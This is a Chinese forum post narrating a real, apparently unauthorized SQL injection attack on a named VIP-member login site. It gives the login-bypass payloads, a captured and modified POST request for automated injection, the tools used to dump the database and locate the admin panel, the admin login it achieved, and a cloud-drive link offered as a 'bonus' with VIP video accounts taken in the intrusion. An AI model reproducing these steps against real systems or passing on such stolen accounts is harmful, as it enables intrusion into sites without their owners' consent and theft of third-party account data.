设为首页 收藏本站
查看: 1125|回复: 0

[经验分享] 记一次SQL注入实战

[复制链接]

尚未签到

发表于 2017-7-14 14:00:03 | 显示全部楼层 |阅读模式
  刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布。今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了。
本文仅供学习交流,目的是为了构建更加安全的网络环境!
注入地址
  某VIP会员专用系统 http://www.tcmpv.com/index.php/Home/Public/login.html
相关工具
  注入工具:
  超级SQL注入工具【SSQLInjection】http://www.shack2.org/article/1417357815.html
  明小子
  抓包工具:
  Wireshark
注入过程

1.测试漏洞

1)测试 '
首先打开网页,如下图:
DSC0000.png

  一看这种很low的系统就有可能存在漏洞
  废话不多说,输入单引号" ' "进行测试:
DSC0001.png

  输入单引号
DSC0002.png

  测试结果
  看到测试结果报数据库错误,这就证明该系统存在SQL注入漏洞。而且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:
  "我有漏洞,欢迎注入!"

2)测试 'or''='  进一步测试,输入" 'or''=' ",点确定,直接就登录成功了,如下图
DSC0003.png

  输入" 'or''=' ",点确定
DSC0004.png

  登录成功
  不用密码,直接进去了,看来漏洞真的存在!

3)测试 3389' and 1=1 and 'a'='a  接下来测试下能不能使用注入语句,这里有两个选择:


  • 继续使用or语句


  • 找到真实密码
  or语句前面已经有说明,这里就以知道密码的情况作说明(or语句原理相同)
  网页上直接给出了获取密码的方式:
DSC0005.png

  加群,拿到密码:3389
  构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:
DSC0006.png

  再次成功登入,确认可以进行注入攻击。
  接下来就可以对数据库进行数据库名(前面提到,登录错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜测了
  手动猜测的具体方法可以参考这里:
  sql注入实例分析(http://www.cnblogs.com/leftshine/p/SQLInjection.html)
  当然手动猜测的量太大了,这么劳神费力的事当然要交给程序来完成,不过还是强烈建议看看这篇文章来了解下SQL注入的基本原理,不然后面操作一片茫然。

2.构造数据包  因为该系统不能简单通过网页URL来传递信息,所以我们需要构造数据包以POST方式发送数据包来注入。

1)手动构造:  根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……

2)抓包构造  这就简单多了,我们直接抓取正常发送的数据包,加以改造就可以用来注入了!
  这里我们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析(http://www.cnblogs.com/leftshine/p/5698890.html)
  使用Wireshark抓取到的POST数据包内容如下:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Host: www.tcmpv.com
  Connection: keep-alive
  Content-Length: 8
  Cache-Control: max-age=0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Origin: http://www.tcmpv.com
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
  Content-Type: application/x-www-form-urlencoded
  Referer: http://www.tcmpv.com/index.php/Home/Public/login.html
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.8
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389
  修改成注入使用的POST包:
  POST /index.php/Home/Public/do_login.html HTTP/1.1
  Referer: http://www.tcmpv.com/index.php/Home/Public/login.html
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
  Content-Type: application/x-www-form-urlencoded
  Accept-Encoding: gzip, deflate
  Content-Length: 8
  Host: www.tcmpv.com
  Connection: Keep-Alive
  Pragma: no-cache
  Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1
  key=3389<sEncode>%')#inject##<eEncode>
  这个数据包可以由软件"超级SQL注入工具"根据上面的包自动生成,具体操作请参考软件压缩包中相应的使用说明。

3.注入
DSC0007.png

  其实我们只要将抓取到的数据包粘进程序中,然后点击"自动识别",软件就会自动进行相应配置,然后看情况改改就可以了(一般情况下,自动配置就可以搞定了)。
  配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若能够正确返回网页信息,则配置可用:
DSC0008.png

  正确返回网页信息
  虽然图中显示"登录失败",但证明可以正确返回网页信息,配置可用!

4.获取数据库信息  点击获取数据
DSC0009.png

  获取数据
  然后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":
DSC00010.png

  数据库信息一览无余
  可以看到,确实有名为"tp_login"的表和"3389"这个密码。
  接下来就可以随心所欲的获取数据了。
获取到的数据
  获取到的管理员账号信息:
DSC00011.png

  管理员账号信息
  有了管理员账号信息,如何使用呢?上第二个软件:"明小子",其实它本身就是一个注入工具,不知道是不是年代太久远了……好多功能不实用。这里我们只用到"管理入口扫描"功能,如下图:
DSC00012.png

  管理入口扫描
  获取到了4个链接,挨个打开看,发现这个可以用:
  http://www.tcmpv.com/index.php/Admin/Public/login.html
DSC00013.png

  管理员登录
  输入账号密码,登录
DSC00014.png

  登录成功
  登录成功,看到笑脸真是开心!
DSC00015.png

  成功进入后台
  成功进入管理后台,发现并没有什么价值的信息,倒是有很多某视频网站的VIP账号,也不造这些万人骑的账号能不能用……
  至此,整个SQL注入成功完成!
  福利(注入之后获取到的账号):----------------分割线---链接:https://eyun.baidu.com/s/3boCXbXl 密码:iqiyi
  相关阅读:sql注入实例分析 | JSP使用过滤器防止SQL注入

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-393769-1-1.html 上篇帖子: 【T-SQL进阶】02.理解SQL查询的底层原理 下篇帖子: EntityFramework监控sql和EntityFramework中的事务
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表